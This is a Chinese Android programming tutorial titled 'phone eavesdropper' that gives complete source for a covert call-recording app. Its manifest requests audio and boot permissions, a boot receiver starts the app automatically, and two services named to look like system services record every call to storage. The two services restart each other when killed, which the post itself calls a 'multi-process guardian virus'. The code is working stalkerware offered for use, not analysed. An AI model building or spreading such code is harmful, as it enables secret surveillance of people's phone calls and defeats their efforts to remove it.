【黑馬Android】(09)電話聽聽器

電話竊聽器

用服務開發


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    tools:context=".MainActivity" >

    <Button
        android:onClick="start"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:text="開始監聽" />
    <Button
        android:onClick="stop"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:text="停止監聽" />
</LinearLayout>
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.itheima.phonelistener"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="17" />

    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.itheima.phonelistener.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <service android:name="com.itheima.phonelistener.SystemService" >
        </service>
        <service android:name="com.itheima.phonelistener.SystemService2" >
        </service>

        <receiver android:name="com.itheima.phonelistener.BootReceiver" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
    </application>

</manifest>
package com.itheima.phonelistener;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
	}

	public void start(View view){
		//開啓服務。
		Intent intent = new Intent(this,SystemService.class);
		startService(intent);
	}

	public void stop(View view){
		//停止服務。
		Intent intent = new Intent(this,SystemService.class);
		stopService(intent);
	}

}

接收開機廣播

package com.itheima.phonelistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent i = new Intent(context,SystemService.class);
		context.startService(i);
	}
}

多進程守護病毒

package com.itheima.phonelistener;

import java.io.File;
import java.io.IOException;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class SystemService extends Service {
	// 電話管理器
	private TelephonyManager tm;
	// 監聽器對象
	private MyListener listener;
	//聲明錄音機
	private MediaRecorder mediaRecorder;

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	// 服務創建的時候調用的方法
	@Override
	public void onCreate() {
		// 後臺監聽電話的呼叫狀態。
		// 得到電話管理器
		tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
		listener = new MyListener();
		tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
		super.onCreate();
	}

	private class MyListener extends PhoneStateListener {
		// 當電話的呼叫狀態發生變化的時候調用的方法
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			super.onCallStateChanged(state, incomingNumber);
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_IDLE://空閒狀態。
					if(mediaRecorder!=null){
						//8.停止捕獲
						mediaRecorder.stop();
						//9.釋放資源
						mediaRecorder.release();
						mediaRecorder = null;
						System.out.println("錄製完畢,上傳文件到服務器。");
					}
					
					break;
				case TelephonyManager.CALL_STATE_RINGING://零響狀態。
					
					break;
				case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態
					//開始錄音
					//1.實例化一個錄音機
					mediaRecorder = new MediaRecorder();
					//2.指定錄音機的聲音源
					mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					//3.設置錄製的文件輸出的格式
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
					//4.指定錄音文件的名稱
					File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					//5.設置音頻的編碼
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
					//6.準備開始錄音
					mediaRecorder.prepare();
					//7.開始錄音
					mediaRecorder.start();
					break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}
	// 服務銷燬的時候調用的方法
	@Override
	public void onDestroy() {
		super.onDestroy();
		// 取消電話的監聽
		System.out.println("ondestory");
		Intent i = new Intent(this,SystemService2.class);
		startService(i);
		tm.listen(listener, PhoneStateListener.LISTEN_NONE);
		listener = null;
	}

}
package com.itheima.phonelistener;

import java.io.File;
import java.io.IOException;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class SystemService2 extends Service {
	// 電話管理器
	private TelephonyManager tm;
	// 監聽器對象
	private MyListener listener;
	//聲明錄音機
	private MediaRecorder mediaRecorder;

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	// 服務創建的時候調用的方法
	@Override
	public void onCreate() {
		// 後臺監聽電話的呼叫狀態。
		// 得到電話管理器
		tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
		listener = new MyListener();
		tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
		super.onCreate();
	}

	private class MyListener extends PhoneStateListener {
		// 當電話的呼叫狀態發生變化的時候調用的方法
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			super.onCallStateChanged(state, incomingNumber);
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_IDLE://空閒狀態。
					if(mediaRecorder!=null){
						//8.停止捕獲
						mediaRecorder.stop();
						//9.釋放資源
						mediaRecorder.release();
						mediaRecorder = null;
						System.out.println("錄製完畢,上傳文件到服務器。");
					}
					
					break;
				case TelephonyManager.CALL_STATE_RINGING://零響狀態。
					
					break;
				case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態
					//開始錄音
					//1.實例化一個錄音機
					mediaRecorder = new MediaRecorder();
					//2.指定錄音機的聲音源
					mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					//3.設置錄製的文件輸出的格式
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
					//4.指定錄音文件的名稱
					File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					//5.設置音頻的編碼
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
					//6.準備開始錄音
					mediaRecorder.prepare();
					//7.開始錄音
					mediaRecorder.start();
					break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}
	// 服務銷燬的時候調用的方法
	@Override
	public void onDestroy() {
		super.onDestroy();
		// 取消電話的監聽
		System.out.println("ondestory");
		tm.listen(listener, PhoneStateListener.LISTEN_NONE);
		Intent i = new Intent(this,SystemService.class);
		startService(i);
		listener = null;
	}

}


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章